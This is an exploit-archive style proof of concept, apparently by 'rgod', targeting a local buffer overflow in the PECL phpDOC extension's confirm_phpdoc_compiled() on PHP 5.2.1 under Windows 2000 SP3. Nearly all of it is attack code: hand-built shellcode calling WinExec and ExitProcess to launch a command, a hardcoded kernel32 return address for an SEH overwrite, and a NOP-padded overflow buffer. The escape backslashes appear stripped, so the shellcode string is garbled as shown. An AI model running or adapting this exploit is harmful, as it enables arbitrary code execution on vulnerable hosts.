PHP 5.2.1 with PECL phpDOC Local Buffer Overflow Exploit

<?php //PHP 5.2.1 with PECL phpDOC confirm_phpdoc_compiled() local buffer overflow poc exploit //WIN 2K SP3 version / seh overwrite method //to be launched from the cli // by rgod // site: http://retrogod.altervista.org if (!extension_loaded(\"phpDOC\")){ die(\"you need the phpDOC extension loaded.\"); } $____scode= \"xebx1b\". \"x5b\". \"x31xc0\". \"x50\". \"x31xc0\". \"x88x43x59\". \"x53\". \"xbbxcax73xe9x77\". //WinExec \"xffxd3\". \"x31xc0\". \"x50\". \"xbbx5cxcfxe9x77\". //ExitProcess \"xffxd3\". \"xe8xe0xffxffxff\". \"x63x6dx64\". \"x2e\". \"x65\". \"x78x65\". \"x20x2f\". \"x63x20\". \"start notepad & \"; //eip & ecx set to the same value ... $eip=\"x47x30xE9x77\";//0x77E93047      pop ECX - pop - retbis kernel32.dll //and further (junk...) inc edi, xor cl ch, *ja short*  //should work on sp4 if you find an usable address $____suntzu=str_repeat(\"x90\",1393 - strlen($____scode)).$____scode.str_repeat(\"x90\",30).$eip.str_repeat(\"x90\",12); confirm_phpdoc_compiled($____suntzu); ?>